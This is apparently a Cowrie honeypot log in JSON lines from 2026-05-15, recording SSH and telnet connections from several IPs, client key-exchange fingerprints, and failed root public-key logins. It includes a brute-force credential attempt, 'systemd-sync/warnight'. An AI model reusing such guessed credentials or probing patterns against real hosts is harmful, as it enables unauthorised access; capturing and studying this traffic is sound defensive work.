{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.228691Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:44:89:d1:47:71:21:ea:eb:b8:5c:c7:bc:5b:b5:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf9RBCVJ5xqECogHaVWB/3JtR12S6Vi3HWLLv8uDwRwZQ/Efr+EqCvO6TshP+0C+HnF8l5w1FSGcEAAOLT9inVzt5K3w/aTQeiD63G8MOmIjcDpH2oVRGkE+qsbexCibBxjczQ6yZv8hINeSJY5qkXPOQwyqUqYATgUHbgRDQ0HcRho7Wt6Ex2+RavUlBOUjqIJEaJ9dobnUKcM0mdV8LYRQ5k75P1OR2RGzpHUiDqu+YTxg4/qoNhDZjQo9enwSCkvBZXmkPwaW/u/80rUVMDdPWdRJNOFm8eGIlZQ4Lbt0A63a4hYTrbRbWdgHt5QCzuYgYDzmNWM4lmvOJbScaD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:44:89:d1:47:71:21:ea:eb:b8:5c:c7:bc:5b:b5:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.405287Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:44:89:d1:47:71:21:ea:eb:b8:5c:c7:bc:5b:b5:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf9RBCVJ5xqECogHaVWB/3JtR12S6Vi3HWLLv8uDwRwZQ/Efr+EqCvO6TshP+0C+HnF8l5w1FSGcEAAOLT9inVzt5K3w/aTQeiD63G8MOmIjcDpH2oVRGkE+qsbexCibBxjczQ6yZv8hINeSJY5qkXPOQwyqUqYATgUHbgRDQ0HcRho7Wt6Ex2+RavUlBOUjqIJEaJ9dobnUKcM0mdV8LYRQ5k75P1OR2RGzpHUiDqu+YTxg4/qoNhDZjQo9enwSCkvBZXmkPwaW/u/80rUVMDdPWdRJNOFm8eGIlZQ4Lbt0A63a4hYTrbRbWdgHt5QCzuYgYDzmNWM4lmvOJbScaD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.409152Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:0d:02:ee:41:18:9e:dc:7e:50:4b:3e:f0:a5:c3:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoEv2RioZS2aEQcgDo4KppDfeoiX2Gc1sac8cVRJKYRzMeS1uhxawGvHywlBUrWaBeZcQARN8EoK0SW5KlMtZaw0tjRa4pHOvX31MrYJN2AynCgjhr1mJ4VyOVrwLjGTOdbaid2WgXQU5EVP3QMOTqqUDPQnp1/CiSfLrNwemqr/g4XPhszNUYjsbNVqZNQdZt7YfGZ1CJ8M3kATbt1AXw0IldSfOqZ5KN0QWKALYlp1ffQNvNlv4Lnf4lpYvmHtFNKoVJPSz2O9trC8psP6jG43CjlxGyik7EegE2R0MUx2B6GnQSp+ulyoJ0eVp+p8YpJiffyp6ZkWtRsf3p3qe4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:0d:02:ee:41:18:9e:dc:7e:50:4b:3e:f0:a5:c3:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.452473Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:0d:02:ee:41:18:9e:dc:7e:50:4b:3e:f0:a5:c3:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoEv2RioZS2aEQcgDo4KppDfeoiX2Gc1sac8cVRJKYRzMeS1uhxawGvHywlBUrWaBeZcQARN8EoK0SW5KlMtZaw0tjRa4pHOvX31MrYJN2AynCgjhr1mJ4VyOVrwLjGTOdbaid2WgXQU5EVP3QMOTqqUDPQnp1/CiSfLrNwemqr/g4XPhszNUYjsbNVqZNQdZt7YfGZ1CJ8M3kATbt1AXw0IldSfOqZ5KN0QWKALYlp1ffQNvNlv4Lnf4lpYvmHtFNKoVJPSz2O9trC8psP6jG43CjlxGyik7EegE2R0MUx2B6GnQSp+ulyoJ0eVp+p8YpJiffyp6ZkWtRsf3p3qe4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.456463Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:7a:e4:3c:54:70:91:d1:d4:d1:cc:60:db:d5:13:fb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINaVts5kR3WzDvxDZ9WvaN0j9/vCV3jRzsoMvP7EMq1m","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c2:7a:e4:3c:54:70:91:d1:d4:d1:cc:60:db:d5:13:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.496930Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:7a:e4:3c:54:70:91:d1:d4:d1:cc:60:db:d5:13:fb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINaVts5kR3WzDvxDZ9WvaN0j9/vCV3jRzsoMvP7EMq1m","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.500859Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:5b:7f:7e:95:0a:71:dd:d0:81:d8:78:93:22:9f:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqktC6wc9Sxso2iwcQkF+1ik+f0inGNXqYo6EH+lCUkLX2vLFV1YvxdHTOeKL3R0Q6Bj8+SOuDarJ0f3E4ODJu5LkyQXLBXTHFvWs9MhMTBpmyKGrmSksh5aCsdAJwDqSZ02c4GkarS2fEB47KHcloNS/u4U075+IE97uCQNUO1WgSLnHyxCqia1aEEJLPg+CLZWsLZSjVTeGpszx7CzLANylWH1ALBFv6zW9h/qbxd4xlnr3SBFQch7iz/xpT1IhP/zLWzdehGdO7XsrATd/wEOC87YMttLLgZtL4SX/DRp0dILtXWnGslYIWJGKn7zLdXgGhnJrgsZVkIrhbr/Eww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:5b:7f:7e:95:0a:71:dd:d0:81:d8:78:93:22:9f:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.541410Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:5b:7f:7e:95:0a:71:dd:d0:81:d8:78:93:22:9f:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqktC6wc9Sxso2iwcQkF+1ik+f0inGNXqYo6EH+lCUkLX2vLFV1YvxdHTOeKL3R0Q6Bj8+SOuDarJ0f3E4ODJu5LkyQXLBXTHFvWs9MhMTBpmyKGrmSksh5aCsdAJwDqSZ02c4GkarS2fEB47KHcloNS/u4U075+IE97uCQNUO1WgSLnHyxCqia1aEEJLPg+CLZWsLZSjVTeGpszx7CzLANylWH1ALBFv6zW9h/qbxd4xlnr3SBFQch7iz/xpT1IhP/zLWzdehGdO7XsrATd/wEOC87YMttLLgZtL4SX/DRp0dILtXWnGslYIWJGKn7zLdXgGhnJrgsZVkIrhbr/Eww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.545422Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:7e:a4:37:60:7e:77:b6:47:99:50:b1:cb:63:2c:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtfbBA2sJHumL1X2BPkonRPVYLNvkCWhBnr6oqtUxnfWBNzhNNPY/q2Ft9BmfB4lJ1bOaWiBXCKbetDVRYJs/rqd1FJNrn/vaGwbE0i04j2mgj4xarbP1AYXTmbGxS1X7KgGsW/IUJaiyUt2A3cjh+Dsg98Q2ENo7BQSMnKwhpXEmnCg03c758F7qDGD7X6ULmDkCorcCdZruo1JtED04i82wXEa2gdTX+7PaguHUVW+2Ics4CULJnf+xuaY0FyWdOK7OSWoslRTK1TbKoncMoKeEyeUVP49Nhu08lQUQM0lRkToC0Ub4UYFWv61Xl1sX0PaVKTqoMFieYs9fHpl1V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:7e:a4:37:60:7e:77:b6:47:99:50:b1:cb:63:2c:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.586011Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:7e:a4:37:60:7e:77:b6:47:99:50:b1:cb:63:2c:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtfbBA2sJHumL1X2BPkonRPVYLNvkCWhBnr6oqtUxnfWBNzhNNPY/q2Ft9BmfB4lJ1bOaWiBXCKbetDVRYJs/rqd1FJNrn/vaGwbE0i04j2mgj4xarbP1AYXTmbGxS1X7KgGsW/IUJaiyUt2A3cjh+Dsg98Q2ENo7BQSMnKwhpXEmnCg03c758F7qDGD7X6ULmDkCorcCdZruo1JtED04i82wXEa2gdTX+7PaguHUVW+2Ics4CULJnf+xuaY0FyWdOK7OSWoslRTK1TbKoncMoKeEyeUVP49Nhu08lQUQM0lRkToC0Ub4UYFWv61Xl1sX0PaVKTqoMFieYs9fHpl1V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.590024Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.633330Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57850,"dst_ip":"10.17.0.5","dst_port":23,"session":"185f6d636092","protocol":"telnet","message":"New connection: 50.6.8.71:57850 (10.17.0.5:23) [session: 185f6d636092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:18.174768Z"}
{"eventid":"cowrie.session.closed","duration":36.5197811126709,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:18.659796Z","src_ip":"50.6.8.71","session":"56715550624c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.755101919174194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:19.228761Z","src_ip":"50.6.8.71","session":"fd504de29868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57862,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c10feea0f6d","protocol":"telnet","message":"New connection: 50.6.8.71:57862 (10.17.0.5:23) [session: 2c10feea0f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:20.028965Z"}
{"eventid":"cowrie.session.closed","duration":34.49911141395569,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:26.365360Z","src_ip":"50.6.8.71","session":"1a1c4148cddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016947746276855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:27.707572Z","src_ip":"50.6.8.71","session":"e43851857eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40252,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c21c09861c4","protocol":"telnet","message":"New connection: 50.6.8.71:40252 (10.17.0.5:23) [session: 5c21c09861c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:29.402001Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40260,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c9ab7ef640","protocol":"telnet","message":"New connection: 50.6.8.71:40260 (10.17.0.5:23) [session: 65c9ab7ef640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:30.972451Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48892,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccdc497b5fc7","protocol":"ssh","message":"New connection: 194.59.206.2:48892 (10.17.0.5:22) [session: ccdc497b5fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:32.751010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:32.755639Z","src_ip":"194.59.206.2","session":"ccdc497b5fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:32.849079Z","src_ip":"194.59.206.2","session":"ccdc497b5fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:32.944384Z","src_ip":"194.59.206.2","session":"ccdc497b5fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.42575144767761,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:33.031933Z","src_ip":"50.6.8.71","session":"092252fc4cbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1b9094bbc42","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: b1b9094bbc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:33.410017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:33.415425Z","src_ip":"4.210.91.174","session":"b1b9094bbc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:33.483072Z","src_ip":"4.210.91.174","session":"b1b9094bbc42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:33.796714Z","src_ip":"4.210.91.174","session":"b1b9094bbc42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.24357342720032,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:33.903413Z","src_ip":"50.6.8.71","session":"0c7f9cd6d11a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:34.869514Z","src_ip":"4.210.91.174","session":"b1b9094bbc42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40814,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c60e422b6a","protocol":"telnet","message":"New connection: 50.6.8.71:40814 (10.17.0.5:23) [session: 88c60e422b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:47.742955Z"}
{"eventid":"cowrie.session.closed","duration":120.00208353996277,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:49.029983Z","src_ip":"181.94.225.234","session":"9e8c43044f7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":29137,"dst_ip":"159.203.135.109","dst_port":23,"session":"0270f617a0ea","protocol":"telnet","message":"New connection: 181.94.225.234:29137 (159.203.135.109:23) [session: 0270f617a0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:49.370579Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56464,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7db59ff559d","protocol":"telnet","message":"New connection: 50.6.8.71:56464 (10.17.0.5:23) [session: a7db59ff559d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:49.726064Z"}
{"eventid":"cowrie.session.closed","duration":31.973589658737183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:52.002460Z","src_ip":"50.6.8.71","session":"2c10feea0f6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00351119041443,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:54.005496Z","src_ip":"181.94.225.234","session":"8fead9d3c87a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00220823287964,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:54.644247Z","src_ip":"181.94.225.234","session":"a9122120cb45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":29841,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb16b2d87f39","protocol":"telnet","message":"New connection: 181.94.225.234:29841 (159.203.135.109:23) [session: fb16b2d87f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:55.444387Z"}
{"eventid":"cowrie.session.closed","duration":39.63968467712402,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:57.814351Z","src_ip":"50.6.8.71","session":"185f6d636092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975614547729492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:00.377517Z","src_ip":"50.6.8.71","session":"5c21c09861c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56390,"dst_ip":"10.17.0.5","dst_port":23,"session":"f02271a1da61","protocol":"telnet","message":"New connection: 50.6.8.71:56390 (10.17.0.5:23) [session: f02271a1da61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:01.667848Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":29913,"dst_ip":"159.203.135.109","dst_port":23,"session":"a19f8d49bf0b","protocol":"telnet","message":"New connection: 181.94.225.234:29913 (159.203.135.109:23) [session: a19f8d49bf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:03.130299Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":55990,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc4ec830279","protocol":"ssh","message":"New connection: 200.77.172.159:55990 (159.203.135.109:22) [session: 0dc4ec830279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:13.406891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:13.414267Z","src_ip":"200.77.172.159","session":"0dc4ec830279","protocol":"ssh"}
